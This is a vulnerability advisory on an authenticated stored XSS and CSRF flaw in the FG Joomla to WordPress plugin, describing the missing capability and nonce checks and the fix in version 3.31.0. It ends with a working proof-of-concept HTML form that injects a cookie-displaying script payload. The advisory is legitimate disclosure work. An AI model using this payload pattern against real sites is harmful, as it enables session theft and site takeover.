Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in FG Joomla to WordPress
While looking into an unrelated issue with the plugin FG Joomla to WordPress, we found that it contained an authenticated cross-site scripting (XSS) vulnerability.
The plugin has a number of actions that are run through the function ajax_importer(), which is accessed through WordPress’ AJAX functionality and is accessible to anyone logged in to WordPress (/includes/class-fg-joomla-to-wordpress.php):
184 | $this->loader->add_action( 'wp_ajax_fgj2wp_import', $plugin_admin, 'ajax_importer' ); |
The function ajax_importer() located in the file /admin/class-fg-joomla-to-wordpress-admin.php didn’t do any capabilities check. For most actions that function passes the action request to the function dispatch():
228 | $result = $this->dispatch($action); |
In the function dispatch(), also located in the file /admin/class-fg-joomla-to-wordpress-admin.php, most of the actions check for a valid nonce, so under normal circumstances only Administrators could access them. One of the exceptions was saving the plugin’s settings:
307 308 309 310 311 | // Save database options case 'save': $this->save_plugin_options(); $this->display_admin_notice(__('Settings saved', 'fg-joomla-to-wordpress')); break; |
In addition, for other actions the saving of the settings also occurs and it occurred before the nonce check:
313 314 315 316 317 318 | // Test the database connection case 'test_database': // Save database options $this->save_plugin_options(); if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check |
The lack of a nonce check would also allow for cross-site request forgery (CSRF) to occur.
Before the settings are saved there is validation done, but for the “url” setting the sanitization done doesn’t prevent cross-site scripting (XSS):
937 | $url = filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL); |
Using FILTER_SANITIZE_URL will:
Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%”;/?:@&=.
That leaves the characters needed for cross-site scripting.
After we notified the developer of the issue they fixed each of the issues in version 3.31.0 .
They added a capabilities check:
211 212 213 | public function ajax_importer() { $current_user = wp_get_current_user(); if ( !empty($current_user) && $current_user->has_cap('import') ) { |
They added a check for a valid nonce when using the save action (as well moving the saving of settings for other actions after the nonce check):
311 312 313 | case 'save': if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check $this->save_plugin_options(); |
And added passing the “url” setting through the esc_url() function:
944 | $url = esc_url(filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL)); |
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?import=fgj2wp, when submitted while logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="fgj2wp_import" /> <input type="hidden" name="plugin_action" value="save" /> <input type="hidden" name="url" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- August 23, 2017 – Developer notified.
- August 23, 2017 – Developer responds.
- August 24, 2017 – Version 3.31.0, which fixes the vulnerability.
Thank you.
This is fixed since August 24, 2017 (v3.31.0).
That it has been fixed is noted multiple times in the post and has been so since we published it.